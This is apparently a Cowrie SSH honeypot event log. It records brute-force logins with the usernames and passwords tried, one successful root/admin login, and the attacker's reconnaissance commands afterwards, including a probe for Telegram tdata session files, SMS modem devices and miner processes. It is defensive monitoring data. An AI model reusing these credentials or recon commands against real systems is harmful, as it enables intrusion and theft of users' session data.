{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:11.563051Z","src_ip":"103.161.170.12","session":"4544dda69ec4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:12.591661Z","src_ip":"103.161.170.12","session":"4544dda69ec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:12.840634Z","src_ip":"103.161.170.12","session":"40a6a60300ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:18:12.844800Z","src_ip":"103.161.170.12","session":"4544dda69ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.121.120.129","src_port":35588,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa4705b6e630","protocol":"ssh","message":"New connection: 85.121.120.129:35588 (10.17.0.5:22) [session: aa4705b6e630]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:01.235272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:01.240399Z","src_ip":"85.121.120.129","session":"aa4705b6e630","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:01.318613Z","src_ip":"85.121.120.129","session":"aa4705b6e630","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stock","password":"stock","message":"login attempt [stock/stock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:01.662702Z","src_ip":"85.121.120.129","session":"aa4705b6e630","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:02.744662Z","src_ip":"85.121.120.129","session":"aa4705b6e630","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":9270,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6f0309fbb4b","protocol":"ssh","message":"New connection: 103.161.170.12:9270 (10.17.0.5:22) [session: d6f0309fbb4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:11.762316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:11.766757Z","src_ip":"103.161.170.12","session":"d6f0309fbb4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:12.012325Z","src_ip":"103.161.170.12","session":"d6f0309fbb4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"george","password":"123","message":"login attempt [george/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:13.024294Z","src_ip":"103.161.170.12","session":"d6f0309fbb4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:14.272388Z","src_ip":"103.161.170.12","session":"d6f0309fbb4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.123.78","src_port":48662,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a46f16a99d3","protocol":"ssh","message":"New connection: 160.22.123.78:48662 (10.17.0.5:22) [session: 4a46f16a99d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:38.864483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:38.869228Z","src_ip":"160.22.123.78","session":"4a46f16a99d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:39.113305Z","src_ip":"160.22.123.78","session":"4a46f16a99d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dd","password":"ddpass","message":"login attempt [dd/ddpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:40.122216Z","src_ip":"160.22.123.78","session":"4a46f16a99d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:41.368292Z","src_ip":"160.22.123.78","session":"4a46f16a99d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"218.157.205.238","src_port":57360,"dst_ip":"159.203.135.109","dst_port":22,"session":"48b88c552e89","protocol":"ssh","message":"New connection: 218.157.205.238:57360 (159.203.135.109:22) [session: 48b88c552e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:59.562663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:59.567118Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:19:59.767022Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:00.795907Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:01.996627Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:02.476431Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:02.482714Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:02.487915Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:02.694851Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:03.156868Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:03.159942Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":906,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:03.360309Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:03.796238Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:03.800062Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:04.005437Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:04.439729Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:04.443722Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:04.649035Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:05.080266Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:05.083909Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:05.287726Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:05.722746Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:05.726310Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:05.929545Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:06.361997Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:06.365691Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:06.569008Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:07.024731Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:07.028633Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:07.328753Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:07.762569Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:07.766185Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:07.969196Z","src_ip":"218.157.205.238","session":"48b88c552e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.170.12","src_port":26572,"dst_ip":"10.17.0.5","dst_port":22,"session":"df36202fc410","protocol":"ssh","message":"New connection: 103.161.170.12:26572 (10.17.0.5:22) [session: df36202fc410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T07:20:19.784225Z"}
